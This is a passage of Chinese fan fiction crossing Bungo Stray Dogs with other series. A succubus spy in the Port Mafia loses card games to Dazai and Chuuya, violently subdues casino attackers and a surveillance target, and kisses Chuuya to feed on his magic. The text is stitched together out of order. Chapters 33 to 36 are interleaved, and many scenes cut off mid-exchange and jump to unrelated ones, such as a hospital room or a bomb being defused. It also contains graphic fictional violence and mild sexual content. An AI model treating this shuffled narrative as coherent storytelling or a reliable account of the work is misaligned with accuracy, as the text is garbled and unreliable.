他一下明白了太宰这家伙为什么这么「欺负」望月。 中原中也面无表情地松开手,金毛立即往后一缩。 望月用手揉着自己的脸颊,屁股稍微往太宰的方向挪了挪,鬼鬼祟祟地用余光偷看自己的表情。 他似乎忘记自己顶着那张画得乱七八糟的大花脸,是被谁画的了。 ——完全不像能长记性的样子。 结果,望月这家伙居然还恋恋不舍,小心翼翼地试探。 金发少年的声音里还带着一丝丝期待。 “那中也还玩uno吗?” “不玩的话,我就和太宰玩了……” 赭发少年冷笑一声,把手上的黑色手套都摘下了,露出骨节分明的手指。 “玩,为什么不玩。” 望月的手搭上膝盖时,太宰治的手指一顿,偏过脑袋看去。 不愧是魅魔,无时无刻都在发挥自己的优势。 这种俯视的视角完美地展现出银发少年那张漂亮又可爱的脸蛋,像是乞食讨好主人的小动物,满足人类本能的掌控欲。 然而,对于太宰治而言,比起那副伪装出的乖巧,他更喜欢看到对方被欺负到眼角通红,却又敢怒不敢言的样子。 突然在眼前爆发的枪击,血淋淋的画面,硝烟和铁锈味,其他客人们顿时被失声尖叫。 “啧,果然是来砸场子的。” A躲在保镖的后面,脸色铁青,磨了磨后槽牙。 他就知道!开的新赌场第三天就有人来找事,这不仅对赌场的名声不好,更重要的是打扰他赚钱了! A原本想去“借”森鸥外的「黑蜥蜴」给自己的赌场用一用,结果被那个老狐狸笑眯眯地给拒绝了。 虽然被拒绝掉也在他预料内,他也只是借这个事情试探一下。 所以今天的事森也是故意的吗? 警告自己不要过界吗? “喂,你们几个,赶紧把这群混蛋收拾掉!” A忍不住吼道。他想了想,又补充了一句, “尽量要活的!” 这群人都输给了自己,抓活的到时候能用异能力把他们的寿命转化等价的宝石,又是一大笔钱! 忽如其来的骚动让黑泽望月慢半拍地挠了挠自己的脑袋。 几个人原本坐在一起好好地打着牌,怎么突然一下掀桌子了呢。 虽然刚刚好像发生了什么,但他完全没看懂。 反正就是要干活了吧。 一旁的同事们已经准备掏枪了。 “喂,黑泽……” 田中扭头,没等他出声,只感觉到身旁似乎闪过一道金色的身影。 下一秒,随着一声哀嚎,刚刚开枪的那人直接被一脚踹飞,以抛物线的形式从半空中飞了出去,砸在地上翻着白眼,失去了意识。 周围的人错愕地看向这一脚的主人。 即便是A,也不由得偏过了视线,多瞧了一眼这面生的少年。 喂喂,这家伙的动作是不是快过头了。 黑泽望月收回了自己的腿,他似乎没有面对这一群比自己高出大半个头的男人感到任何的胆怯。 像小狗般眼睛亮晶晶地,邀功般扭头看向一旁的田中。 “田中前辈,这些人全部都要丢出去吗?”干完就能下班去吃饭了吧! “呃,嗯、嗯啊……” 田中愣了一下,声音有些僵硬。 “了解!” 望月点了点头,甚至没有回头,直接捏住了身后准备朝自己开枪的刀疤脸的手臂,朝下一摁,子弹在赌场的瓷砖地面上留下了一缕白烟。 最后又扭身用膝盖一顶。 顿时,那刀疤脸的手臂便呈现了一种扭曲的姿势。 “啊啊啊——” 尖叫声还没停下来,黑泽望月已经抢过刀疤脸手中的枪,朝着剩下的几人手掌、手臂开枪。 “这样就能结束提早下班吃饭了吧……唔。” 望月偏过脸,感受到脸颊上逐渐蔓延开的血迹,挠了挠头。 什么时候中的枪?刚刚不小心被子弹蹭到的吗? 说不定还会挨中也一顿揍……那就只能努力多吃一点补回本了。 正当望月在心中暗暗盘算着要怎么样才能吃回本才算不白挨一顿惩罚时,中原中也忽然小声地说道。 “……又、又没说不给你吃。” 原本都已经打算好趁对方不注意地时候去强吻了的望月,在听到中原中也的话后,猛地抬起了头。 中原中也别开脸,一只手扶着自己的后颈,眼神飘忽。 “我知道了啊。那、那就来吧,那个……” 赭发少年停顿了一下,咽了口口水。 声音细如蚊蚋。 “接吻。” 第 33 章 第三十三章 望月的表情呆呆的,像是被这从天而降的馅饼给砸昏了脑袋似的。 面对望月的眼神,中原中也下意识抬起手想要用帽子挡住自己脸上的表情。然而现在可是就寝时间,帽子自然不在脑袋上。 抬起的手摸了一个空,中原中也的指节弯了弯,悻悻地放下,表情尴尬。 同、同意了?真的假的? 应该没有别的什么附加契约条件吧? ——也就是说,自己终于可以吃上一口饭了? 脑内各种问题飞快闪过,心中怀着一丝疑虑,望月小心翼翼地观察了一下面前中原中也的表情,发现的确是自己所理解的这样。 银发恶魔尾巴啪地一下就立直了,高高翘起。 望月感动落泪。 眼睛直接变成了蛋花眼,泪眼汪汪地喊着对方的名字。 “中也,你真是吾辈遇到过最好、最伟大的人类雄性呜呜呜吾辈之后一定会乖乖听话事不宜迟赶紧让吾辈来尝一口——” 刚开始的声音还是可怜巴巴,随后语速越来越快,最后穷图匕现,展露出自己的真实目的。 这下一口气得摸十六张牌。 望月差点没泪洒办公室。 一秒钟的表情能变化如此之多,每一次变换的神情都值得拍下来作为表情包。 望月抓狂的表情成功满足了太宰治的恶趣味。 ……其中包括中原中也的。 中原中也虽然不想承认,但他的确看得也很爽。 欺负小狗的确是件令人心身愉悦的事——被欺负的人开不开心那是另外的事了。 双黑二人不仅在搭档上默契,就连抖S这一点上也是同步的。 输了当然有惩罚。 虽然很郁闷,但望月却不会耍赖试图逃脱惩罚。 太宰拿着沾了墨水的毛笔,在望月的额头上画了个笑脸——三个人游戏开始前,望月还洗过脸。 然而刚洗干净的脸,现在又被画得七七八八了。 那个笑脸看上去就跟作画的主人一样,相当嘲讽。 太宰画完轮到中也。 赭发少年接过毛笔,对上望月哭唧唧的表情,一下没忍住笑出了声,又用咳嗽掩饰了一下,想了想,还是良心发作,只是给对方画了个猫胡须。 “换一个游戏呢!” 放弃在桌游上和二人的对抗后,还不肯罢休的望月果断决定转战电子游戏。 然而他不知道的是,中原中也还没进入港口mafia之前,可是擂钵街游戏厅的最高记录保持者——不过他现在很少回擂钵街,也不知道那些记录有没有被其他人刷新掉。 至于太宰这个妖怪一般的家伙,不论什么新游戏一遍就上手。 望月再一次成了三个人之中,彻头彻底地连败垫底吊车尾。 “还要再玩吗?”中原中也问道,“没玩够就继续。” “……”小狗陷入郁闷。 说实话,被太宰一个人完虐就算了,在中也手里也一轮没赢。 望月都快要怀疑人生了。 望月鼓着包子脸,中也画在脸颊上的猫咪胡须更加显眼了。 “没有说输了扣工资,你就给我偷着乐吧。”中也用手托着脸颊,手肘抵在膝盖上,心情稍微好转了些,轻哼了一声。 等太宰治和中原中也带着人到的时候,就看到黑泽望月不知从哪儿找来了一个小圆凳,像是在看守骨头的狗似的坐在上头。 他选择的位置正好是沙发的正对面,地上横七竖八的倒着一堆男人,几个和他穿着同样服务员衣服的人,站在目光能看到的边缘,面容惊恐。 金发少年的身上还沾着已经风干成暗红色的血,本人似乎浑然不觉,手一边比划着,一边开心地和面前的陪酒女郎们聊天。 不过,陪酒女郎们可没有那种好心态,脸上的笑容显得十分勉强。 她们的身体僵硬,眼睛不敢瞥向金发少年周围的那堆尸体。 听到门口熟悉的皮鞋声,望月收起了话匣子,扭头看到熟人后眼睛顿时一亮,赶紧从小圆凳上蹦了下来,朝着门口欢快地飞奔过来。 “中也中也!你们那边结束了啊!” 同样被望月脑回路打败的太宰治,干脆无视了对方发射过来的闪亮亮的电波。 黑发少年看向一旁地上,为数不多的活口——穿着花衬衫的老鼠眼男人的脑袋上满是鲜血,嘴巴里似乎塞着什么东西,双臂呈现着一种诡异的扭曲弧度,甚至能够看见骨头的形状。 “怎么搞的?” 安排完底下的人工作后,中原中也斜了眼自家金毛。 黑泽望月没有一丝保留地,将之前发生的事情全部交代了一番。 “我看一下没把对方砸晕,还想再补一下来着。”望月感叹,“这家伙的脑袋可真硬啊。” “…那他的手怎么回事?” “解决完其他人,我准备收手把对方绑起来来着,然后他突然抽出了手.枪想要偷袭我。所以先把他两只手臂给卸掉了。” 黑泽望月老老实实地交代,语气听起来像是在抱怨。 “结果这家伙就一直叫个没完,我就把他嘴巴拿东西堵上了。” ……所以这是疼昏过去的,不是被砸晕过去的啊。 “我和他说自己是港口mafia的时候,他还一脸震惊,难以置信的样子……不是已经发现我是间谍了吗?” “莫非真的没发现?” 望月摩挲着下巴,眉头快要打结。 “我还以为他给我房卡让我去房间里彻夜密谈是为了埋伏我然后逃走呢,难道说,是真的要教我「快速赚钱」的办法?” “这人意外的挺大方啊。” “……但是自己已经暴露了怎么办…… 望月苦苦思考,然后猛地握拳一捶掌心。 反正他的任务是盯梢防止目标跑掉。 既然已经暴露了,那直接把对方打晕了不就好了,这样就不用担心对方会到处瞎跑,可方便多了。 ——哎呀,早这么干不就完了! 黑泽望月觉得自己明白了一切。 他立即站起身,小跑向那个包厢。 快到门口,就看到另一位服务员正推着装满红酒的手推车,准备送到包厢里。 黑泽望月立即凑了过去,自然而然地接过了推车,朝着对方露出自信满满的笑容。 “这里我来就好,你忙别的事情吧!” “诶、诶。哦,好……” 突然被抢了活,那个服务员一脸茫然,但还是带着满头雾水地离开了。 黑泽望月推开门,里头吵闹的音乐依旧一阵一阵的,和自己离开时没什么区别。 他第一时间看向主座上的人。 目标对象还在那里,和陪酒女郎们调情喝酒。 望月松了一口气,然后开心地推着手推车,朝横鼠的方向过来。 那个波浪卷的陪酒女郎正在唱歌,余光注意到刚刚自己抽烟时遇到的金发服务员又回来了,眉头微皱,在心中无声叹气。 毕竟谁都抵挡不了金钱的诱惑啊。 横鼠也注意到黑泽望月的靠近,愣了一下,脸上的笑容不断扩大。 金发少年从手推车上拿下一瓶深绿色瓶身的葡萄酒, 然后转身,抬手, ——毫不客气地砸在了男人的脑袋上。 “啪!” 玻璃碎裂的巨响让男人身边的陪酒小姐吓得爆发出尖叫,尖锐的嗓音几乎能穿破耳膜。 空气中弥漫着浓郁的红酒味。 紫红色的酒水混合着血液从男人的脑袋上流下,根本分不清什么是什么,身上的衣服也一同染成了深红色。 脑袋被酒瓶砸得头破血流,一时间无法做出思考。 所有人似乎都被这一下给砸懵了。 女人一愣,手里的麦克风落地,发出尖锐的啸叫。 耳鸣,眩晕,剧痛…… 横鼠感觉眼前的画面出现了重影,那个被自己看上的金发少年眼睛瞪得溜圆,似乎也被惊讶到。 “哇,居然没有晕过去诶。你的脑袋好硬啊。” 他的语气听上去相当意外。 如果不是手中还握着剩下的破碎瓶身,不知情的人估计都不会以为,这才是刚刚那一下的肇事者。 周围发愣的众人总算清醒过来了,安静得只剩下伴奏的包厢又一次喧哗起来——这次唱得可不是歌词了。 提到这事,中原中也的脸色一黑。 余光瞥到身旁昏死过去的家伙,赭发少年阴沉着脸,抬腿直接把男人的身体踢到一旁,看起来心情还是很不好。 “别弄死了哦中也。”太宰没有阻止搭档的动作,只是面无表情地提醒道,“还要送去审讯室呢。” 反正他之后也很无聊,不介意在审讯室多呆两天。 其他黑手党们,再一次感受到之前的那股低气压,额头上不禁滑下冷汗,然后默默地把那个惹了他们港口mafia最危险二人组的倒霉蛋拖了出去。 见男人被同事们带走,黑泽望月一副求夸奖的得意样。 “你这家伙,血都蹭我身上了!” “嗷!好痛!” 银发恶魔被气得就差没直接扑上去亲自示范了什么叫做真正的接吻——事实上,他也的确这么做了。 他直接跨坐在对方的大腿上,伸手搂住中原中也的脖子,嘴角露出了一个骄傲又得意的笑容。 “哼哼,吾辈要让你看看,魅魔们都是怎么接吻的。” “全部交给吾辈也没关系,毕竟中也就是个没经验连接吻都不会的童贞嘛……虽然吾辈也就只亲过一次,但毕竟还是有种族天赋在。” 望月越说又没底气,身后的尾巴垂下,不过很快又重新抖擞起精神。 但话都放出来了,不能在对方面前露怯。 “放心,吾辈保证中也会享受得不愿意停下来~” 银发魅魔自信满满地说道。 那双漂亮的紫眸像猫一样半眯起,望月垂下脑袋,盯着中原中也的脸提醒道。 “这次要好好伸出舌头哦。” 第 34 章 第三十四章(150雷加更) 银发少年那副魅惑的姿态,让中原中也的呼吸停止了一瞬。 望月本想就这样直接开吃,刚贴近过去,忽然想起了某个要紧的事,重新直起上半身,谨慎地问道。 “中也允许吾辈吃饭了,对吧?”得确认一下,免得系统那混蛋等会儿惩罚自己。 中原中也这才从对方的声音中回过神来,蓝眸微微闪烁着某种光。 他没有拒绝,毕竟这是自己答应的。 只不过…… “望……” 出差回来的中原中也风尘仆仆。 刚接手宝石贸易的他工作当然繁忙,回到港口mafia换了身干净衣服后,去到尾崎红叶那边,简单看望了下对方,随后才回到自己的办公室。 这段时间几乎是忙得脚不沾地,一般人估计老早累得够呛,中原中也倒是没感觉到什么疲惫,依旧精力充沛得像个怪物似的。 毕竟为了晋升干部,他需要积攒更多的资历。 出差了那么久,即便他的副手再怎么能干,但还有一批文件是需要中也亲自处理的。 中也准备今天之内一口气全部解决完,干脆就一直呆在了办公室里。 出乎意料的,今天一整天都没有看到望月。 以往那家伙总是会挑这个时候出来,要么过来给自己添乱子,要么就是趴在办公室的沙发上,看些乱七八糟的漫画然后哭得稀里哗啦,他不得不放下文件,丢一包餐巾纸过去。 “我记得红叶大姐之前提过,如果晋升成干部的话,可以有自己的直属部下,操纵起来也会方便很多。” “等中也爬上来,慢慢悠悠的都不知道要多久呢。” 他轻笑着,顶灯投下的阴影落在绷带和低垂的睫毛上,让主人的神情看上去晦涩不明。 “在这无聊的黑手党世界里,偶尔也会出现这样的玩具啊。” “望月会给我带来更多有趣的乐子也说不准。” 中原中也微微眯起眼睛,刚要开口说话,一旁的金发少年撅着屁股从那堆桌游中扒拉了半天,总算翻出了自己想要的桌游。 望月挤了过来,气势十足地往一推,将原本中间的扑克牌们推到了旁边,那双绿眸看起来精神抖擞。 “当然啊,因为中也是我的朋友啊。”望月理直气壮地说道。 太宰不说话了。 过了片刻,黑发少年忽然换上了一副可怜的语气,像是一只被人丢下的流浪猫般委屈地说道。 “望月君不是说要和我做朋友的吗?中也回来之后,我就排在后面了呢……” 耳麦是单向的。微型设备的好处在于体型小,高隐蔽性,不过在传声上的效果,就有些不尽人意了。 望月的五感灵敏,捕捉到耳麦另一头跳动的电子噪点,逐渐变得完整。 “嗯,可以听见哦。” 说话者的声音有些失真,自带一种沙哑感。 “唔?是太宰啊。” 望月一下子便听出对方的声音,小小地疑惑了一下。 不过是谁都不要紧,太宰也是这次行动的指挥。 在不远处的中原中也听到这边太宰似乎在和什么人说话,下意识转过头,然后低头看了眼自己的通讯器,嘴角微微抽搐。 ……混蛋青花鱼,什么时候把他的通讯器拿走的。 敌人已经解决的差不多了,不需要他再盯着。 于是,赭发少年快步走了过来,没好气地骂了一句,问道。 “望月?他那边出现什么情况了吗?”比起这边,他更担心望月那小子又不安分,惹出什么岔子来。 “……你是监护人吗?”太宰忍不住怼道。 耳麦里隐隐约约能听到中原中也的声音,黑泽望月简单描述了一下现在的情况,语气欢快。 “我在好好盯着对方哦。目标人物没有警觉,喝酒喝得很开心呢。” “哦,是吗。” 拿着通讯器的太宰治的语气懒洋洋的,慢吞吞地说道。 “听起来横鼠那家伙对于自己这次交易的保密程度相当自信呢,大概没猜到我们的行动。” 他斜了一眼中原中也, “中也,这边的消息封锁好了吧?” “嗯啊。已经在收尾了。”中原中也压了压帽檐,说道。 “就是这样。我们这里也解决的差不多了,那就辛苦你再多盯一会儿咯。” “明白。不过还有一件事……” 黑泽望月从自己的后腰处抽出了那张硬梆梆的东西。 原来是一张房卡,硌着腰相当不舒服。 他盯上手里那张黑底金字的房卡,上头写着大大的VIP三个字以及房间号码,脑袋上挂出了一个问号。 “什么?”“——只要切腹就可以了吗!” 望月闻言,猛地抬起脑袋,深绿色的眸子充满了欢喜,纯粹得像是只幼犬一般。 他露出了一个灿烂的笑脸。 “太好了,原来只要切腹就行了啊!” 原来这么简单就行了,太宰先生根本没有铃木前辈说的脾气那么恶劣嘛! 黑泽望月总算松了口气。 比起切小指,切腹对他来说更加方便些。 他从地上爬起来,拍了拍自己的裤子,朝着门口就要大步迈去。 “稍等一下,我去找护士姐姐们借一把刀来!” 是真的去借刀呢,还是以此为借口跑路吗? 然而金发少年的声音欢快,不似有假。 绕使是太宰治,一时间也都微愣住,没反应过来。 倒是中原中也眼疾手快地伸手,直接拽住了黑泽望月的后衣领。 “喂喂,我说你家伙不会真的是笨蛋吧?用脑子想想,怎么可能真的让你切腹。再说了,我们是黑手党,又不是什么极道组织。” 赭发少年翻了个白眼,没好气地说道 “我可是认真的哦,中也。” 太宰治已经收敛起刚刚那副散发黑泥的样子,漫不经心地往身后的枕头上一靠。 “闭嘴吧你。”中原中也瞪了眼病床上的太宰治,晃了晃手里拎着的家伙,问道,“这你的部下?” “我可没这么蠢的部下。”太宰治冷漠地说道,“是罪魁祸首。” “听出来了。” 在确定这小子不会真的犯傻,听太宰的话去切腹什么的,中原中也松开了手。 “诶,那所以我还要切腹谢罪吗?” “嗯?切什么腹?” 中原中也双手抱胸,轻笑一声,故意说道。 气泡,浅绿色的水箱,乱七八糟的桌面,看不懂的报告,走来走去的白大褂,吠叫的狗…… 「争吵」,「政府」,「实验」…… 啊。 他想起来了。 黑泽望月眨了眨眼睛,总算从脑袋的记忆中,翻找出与眼前之人相比更为稚气的脸。 他的脸上绽放出欢喜的笑容。 ——是他的同类。 “就是……” “目标对象给我一张房卡是什么意思?” 望月认真思考着,问道。 “……哈?” 太宰治愣了一秒后脸色瞬间漆黑,变得阴晴不定;倒是中原中也还没反应过来。 “什么房卡?” “一张黑金VIP房卡。他把这卡塞到我的腰间,还说要和我一起彻夜长谈一番「快速赚钱」的方法。” 黑泽望月认真地问道。 “说实话,我很想知道他说的「快速赚钱」的方法是什么,我可以去吗?”这个月的饭钱快不够了。 “……”“……” 空气凝固了,犹如黏稠的海水般难以流动;随后就听见咚一声,什么东西碎掉的动静。 还在前面忙活的黑手党们被吓了一跳,还以为是有敌人的残党,警惕地抬头张望,结果就发现声音的源头是来自这次行动的指挥双黑二人。 两个人正面无表情地盯着手中的通讯器。 见他手里还捏着那张金卡,不知想到了什么,女人沉默了一下。 似乎是觉得自己多管闲事了,她自嘲地笑笑。 “当然,要是你自己想去我也管不着。” 抽完这根烟,女人在便携式烟灰缸里碾灭了烟蒂,转身又回到包厢内。 黑泽望月脑袋上快被问号占满了。 这,这是什么意思?劝自己离开? 和他一样也是过来监视目标对象的? 但也有可能是竞争关系,是想要在港口mafia前一步解决掉目标对象抢人头? 女人的声音似乎还没有在耳边消失。 「‘你不会连自己被看上了都没意识到吧?’」 金发少年脑袋上的问号密密麻麻,最终像是合成大西瓜一样,砰地融为一体,变成了一个巨大的红色感叹号。 难道说,他是过来盯梢的这件事,已经被目标发觉了吗?! 所以那个姐姐过来提醒? 黑泽望月瞳孔地震。 横鼠这家伙果然狡猾谨慎,看出自己的伪装还装作不知道的样子,叫他去房间彻夜长谈一定是想要趁机埋伏我然后逃跑! 太可恶了,真是阴险! 和声音听上去的难受不同,银发魅魔表情则是痴迷的,被亲吻的又红又肿的嘴唇微微沾着,唇角还带着尚未吞咽下的唾液。 那双紫眸湿漉漉的,此时完全被桃色的爱心占据,中心处倒映着中原中也的脸。 身后细长的恶魔尾巴取代被压住的双腿,像是某种植物般谄媚地缠绕着赭发少年的腰身,努力地讨好着对方。 望月眼神迷离,蒙着一层水汽。 小腹上的花纹产生的烧灼感似乎将全身都染成了粉红色,胸口随着喘息而上下起伏。 大概是被刚刚补充的魔力冲击到,如同吃了高浓度的酒心巧克力般,一时间脑袋晕乎乎的。 银发魅魔望着眼前的赭发少年,无意识地喃喃自语。 “只是亲了一下,就……好厉害……” “中也的魔力……” 第 35 章 第三十五章 望月感觉自己的脑袋变成了一团浆糊,懵懵懂懂的。 不仅是因为好不容易吃到了中原中也的魔力而被爽到,还有小腹上突然出现的,自己梦寐以求的淫|纹,快|感的双重冲击让望月一时间失神。 回味着刚刚的感觉,眼睛中的桃心不住地闪动着,几乎快蹦出来。 “哈……吾辈快要变成无法思考的笨蛋了。” 银发魅魔脸颊潮红,眼神迷离地喃喃道。 “都是中也的错哦。” ……这种台词未免也太糟糕了吧。 中原中也身体一僵,脸红得几乎滴血,蓝眸微微颤抖起来。 “……唔姆,大概就是这样。中井前辈在码头等到晚上都没看见我来,昨天去的时候气得差点要揍我。” “不过,在知道我遇到太宰先生,把太宰先生送进医院后,中井前辈就没骂我了。” "好险,差点又要扣工资了。” 中井大概是以为望月是送太宰去医院所以没来了吧……唔,不过从事实上,的确是这样的。 但造成太宰需要去医院的人也是望月就是了。 织田作之助一边听着,一边在心中想到。 仓库内,一大一小两个身影蹲在某个包裹前,一边闲聊着一边干着手里的工作——大部分时候都是望月在说,织田在听。 这种悠闲的气氛,让人差点忘了他们正在拆的东西是危险的炸弹。 “对了,明天我要去A先生的赌场工作了。” “中井前辈看起来不太想让我去的样子,但A先生毕竟是那什么……哦对,五大干部之一,没有办法拒绝呢。” “我倒是去哪里都无所谓啦。” 望月从一旁的工具箱翻翻捡捡,找出了尖嘴钳,递过去。 “是吗……”耳边是水流的声音。 鸢色的眸子放空,安静地仰望着天空。 河道边盛开着早春的樱花,浅粉色的花瓣随着风落在河道内,轻轻荡开水波。 这里的水并不深,也鲜有人至。 ……不想工作。那放小蛞蝓鸽子吧。 太宰治百无聊赖地想着,闭上眼睛,从嘴巴里咕噜咕噜地吐着泡泡,放任着身体被冰冷的河水包裹。 隐约间,似乎听到岸边有人在惊慌失措地大喊着什么。 “什么——人,是人类吗?! 那个陌生且聒噪的声音,即便隔着水也叽叽喳喳地吵得要命。 太宰治忍不住皱起眉。 “难不成是溺水了——喂、喂,你再坚持一下啊!你等我报个警啊!” 太宰治沉默。 随后水面浮出更多的气泡。 幸好太宰先生只是昏迷过去。 望月被铃木晃得转起蚊香眼,脑袋迷迷糊糊,说话都大舌头起来。 “大、大宰?” “是太宰!” “我只是想救人来着,没想到对方忽然晕过去了……” “什么「忽然晕过去」——是脑震荡啊脑震荡!而且缝了整整三针!你对太宰先生宝贵的脑袋做了什么啊混蛋!” 望月感觉自己之前的咖喱饭都要被摇得吐出来了。 “前、前辈,再这样晃下去,我也要得脑震荡了……” 这小子完全没听进去吧! 铃木气绝。 “总之,等太宰先生醒了,给我好好想想怎么谢罪吧!不然被灌水泥沉横滨湾十次都不够你死的!” “唔,我没那么容易死的啦……” “还敢顶嘴是吧!” 狠狠骂了一通这笨蛋,若不是还得去忙着处理这突如其来的变故,不然非得提着这小子的耳朵好好再念上两小时。 刚走了没两步,铃木不放心,又转头回来叮嘱道。 “诶、诶?谋杀?” 黑泽望月没反应过来,呆呆地跟着太宰治的声音重复道。 “对哦~针对港口mafia准干部的谋杀计划。毕竟像我这样的人,树立的敌人和仇家可不少,想要杀我的人太多甚至都记不清楚了。” 不知想到什么,太宰治眼神一点一点变得黝黑,看不见一丝光芒。 “暴力、死亡、欲望、血腥、争斗……这个世界最黑暗的一面,只有在这边的世界才能看清。” “不过,你好像是港口mafia的人吧。” 太宰治故意拖长声音,歪了歪脑袋,用那张漂亮的脸做出这个动作,显得一副无辜的样子,只是头上的绷带有些煞风景。 黑发少年微笑着,不紧不慢地说道。 “所以……” “你是敌对组织派来暗杀我的卧底吗?” 咚咚。 原本还没转过来的脑袋完全被「卧底」这两个字占据了,心脏跳得像是在擂鼓一样。 ——他的确是卧底。 半个月前,他接下了「组织」的卧底任务,加入了港口mafia。 可黑泽望月对天发誓,自己真的没有打算杀掉对方啊! 他连对方的身份都不清楚! 望月觉得辜负了波本对自己的教诲。 这位组织难得可靠的同僚还特意给了自己些建议。 结果这么快就被发现了吗! ——波本啊,做卧底原来是这么难的一件事吗? 就在黑泽望月汗流浃背,瞳孔地震时,病房的门突然地推开,紧接着男生骂骂咧咧的声音响起。 “混蛋太宰你又给我搞什么鬼……” 赭发少年戴着一顶黑色礼帽,脖颈处的chocker正好勾勒在喉结处,上挑的钴蓝色眸子带着少年特有的锐气。 中原中也没有在意一旁的望月,径直看向了太宰。 压着火气独自一人解决掉了任务,本来想要过来怒骂着这混蛋又扯了什么鬼借口翘班。 然而,但在看到太宰被包成大头娃娃的搞笑造型后,中原中也实在压不住嘴角的笑容,大笑出声;与之相对的是太宰越发漆黑的表情。 他毫不客气地对病床上的太宰治出声嘲讽,声音中带着挑衅。 “——不愧是祸害遗千年,还没死啊,太宰。” 织田作之助不太知道A那边的情况,也说不出个好坏来。 他接过望月递过来的钳子,在放在某一根线上后,在看到脑内出现的画面后,非常淡定地换了一根,剪下。 钟表的滴答声停了下来。 然而这一大一小两个天然呆的家伙,完全没有躲过一劫的自觉,习以为常般整理着东西,准备结束今天的工作。 “那望月明天要去A先生那边了吗?” “是哦。”那日在太宰的病房外,对方忽然对自己露出笑脸,像是很熟悉自己的样子。 对方看起来年纪差不多大。 他的第一反应是曾经在「羊」时候成员,但中原中也很确信自己从未见过对方。 那个忽如其来的笑容,让中原中也摸不清头脑。 然而未等他询问,似乎是对方前辈一样的身份的人小跑了过来,朝着自己鞠躬问好,然而把那家伙像是拎小鸡般抓走了。 于是,两个人之间连句完整的对话都没有,这么没头没尾的结束了。 他甚至都不知道对方的名字。 不过这件事也没有被中原中也放在心上。 中原中也的目光从黑泽望月的身上挪开,无视赌场内一地狼藉的景象,径直看向了躲在几个保镖身后的A。 他眼皮都没抬一下,双手抱胸,冷笑着说道。 “——真是热闹。” “喂,A,你就是这么欢迎我的吗?” 听到中原中也的声音,A的表情稍稍僵硬了一下。 虽然按照名头上,自己作为干部,地位应该比中原中也要高;然而在实际上,森鸥外信任中原中也可要比自己更多些。 况且中原中也和那个太宰治可是下一任干部的有力候补。 说是准干部也不为过。 中原中也的身份也带着森鸥外的意见。今天的乱子已经够多了,自己最好还是稍惹麻烦为好。 A在心中飞快地算计着。 他露出了虚伪的笑容,装模作样地微微鞠躬。 “哦呀哦呀,这不是风头正盛的「重力使」吗。不好意思,我们赌场发生了一些小小的骚动,不小心惊吓到您了。” “哦?需要我帮忙吗?” “自然不用,正如您所见,我的部下已经解决掉麻烦了。” A微笑着说道, “果然,不论是赌场也好还是酒厅也好,都需要养一两条忠心又好用的「狗」呢。” 听到这个称呼,中原中也的眉头微微一皱。 赭发少年双手抱胸,冷漠地挑刺道。 “你的赌场?可别忘了,你是靠什么才拿到这块地方的。” 关于A的异能力,中原中也自然有所耳闻。 黑泽望月手搭在膝盖上,乖巧地点了点头。 “听说那边工作会当底层员工高一点。等我发工资了,请织田吃咖喱饭吧!” 黑泽望月和他同为港口mafia的底层人员,刚加入组织没多久,作为前辈的他自然少不了带着新人工作。 刚开始对方还会加个前辈,现在敬语这事早就被抛在脑后了。 不过织田作之助也并不在意这种事。 这种仰头看着自己的表情,有点像小狗。 织田作之助没忍住,伸手揉了一把对方的脑袋,声音中带着一丝笑意。 “那今天还是我先请客吧,庆祝望月成功升职。” “好耶!” 金发少年顿时眼睛放光,举起双手高声欢呼。 “——那我今天可以放开肚子吃吗!” 织田作之助思考了一下望月的食量。自己和五个孩子们加起来,可能都没有望月一个人吃得多。 明明个子不高,胃袋却连接着异次元空间。 “……还是拜托给我留点明天的饭钱吧。” 织田作之助委婉地说道。 可怜的发牌员就这么一命呜呼,尸体倒下,血流成泊。 来横滨这半个多月他都没怎么打过架,连日常的训练都抛在了脑后,身体僵硬了好多。 要是大哥知道他退步了,估计会骂他的吧。 刚靠近赌场就听见那儿正热闹,中原中也忍不住皱眉。 穿着黑色外套的赭发少年站在人流中间,大概是看出他身上的气势不好惹,从赌场中慌慌忙忙跑出来的人也下意识地从他的身边闪过,周围呈现出一片真空地带。 “今天这么热闹?” “看上去好像是在打架……估计不知道这里已经是港口mafia的地盘了吧。” 听到上司的话,中原中也的部下小声回答道。 毕竟这块地方原本在一星期前还属于另一个组织。 地盘的新划分,权力的交换、洗牌……某些消息不灵通的傻子,赶着场儿过来送业绩。 再怎么不喜欢A,对方姑且都还算是港口mafia的人。 在港口mafia的场子上找事,先考虑自己有没有这个命吧。 中原中也刚刚踏进赌场,掀起的风稍稍吹起鬓角的赭发,身侧猛地飞过去什么东西。 是一个昏迷过去的男人,对方身体如同被投掷出的石块一样,从中原中也的身侧飞出去。 身后的部下们下意识躲闪开着飞来横祸。 肉体和地面碰撞,轻而易举地听见骨头碎裂的声音。 赌场里,戴着项圈的金发少年正一脸淡定地揍着人。 他的拳头上、脸上溅着从对方身上飞出来的血。 碎掉的椅子,散落一地的筹码,想要上前捡但又怕被波及的赌徒们……混乱的场景反而成为了对方的陪衬。 似乎是听到赌场门口的动静,金发少年手上的动作停下,抬起头看向他,随后展露出前几日见过的,那副灿烂的笑容。 然而,那张的脸和手上完全不留情的动作,却形成鲜明的对比。 带着一种孩子气、纯粹又天真的残忍感。 中原中也微微眯起眼睛。 是前两天在太宰病房遇到的家伙。 望月一边强调着,一边抬起头,看向面前的赭发少年。 “毕竟,只是接吻就能让淫|纹出现——虽然只有一小会儿啦,但已经超出一般人类了。”如果真的能吃到…… 望月忍不住吸了吸嘴角快要滴下来的口水。他简直都不敢想象会有多幸福。 于是,银发恶魔相当谄媚地吹捧着面前的赭发人类。 “不愧是中也,做到了普通人类做不到的事情呢~” 然而,中原中也在听到自己的话后,却沉默了下来。 赭发少年挪开了视线,语气平静地说道。 “啊……” “大概是因为「荒神」吧。” 第 36 章 第三十六章(4k营养液加更) “……「荒神」?” 对于这个称呼,望月的脸上露出一丝迷茫,歪了歪脑袋。 他对恶魔或是其他非人的种族倒是了如指掌,然而神灵则是另一个概念了。 望月眼前出现了好多问号,眼神逐渐呆滞。 神明的话……应该和撒旦大人是同一个级别的? 总之还是慎重些对待吧。 望月咽了口口水,谨慎地问道。 “所以,这和那位「荒神」……大人,有什么关系?” 他知道A就连这个干部的位置,都是花钱买来的;对于部下的命也完全不当一回事,随意挥霍,当成自己的资产使用。 “望月。”医院住院部病房内,金发少年百无聊赖地躺在病床上,一条腿腿打着石膏高高吊起。 讨厌的消毒水气味让望月打了个喷嚏,悻悻地揉了揉鼻尖。 昨天跳下来之后,摔了个七荤八素,内脏仿佛都跟着一起从嘴巴里挤出来了。 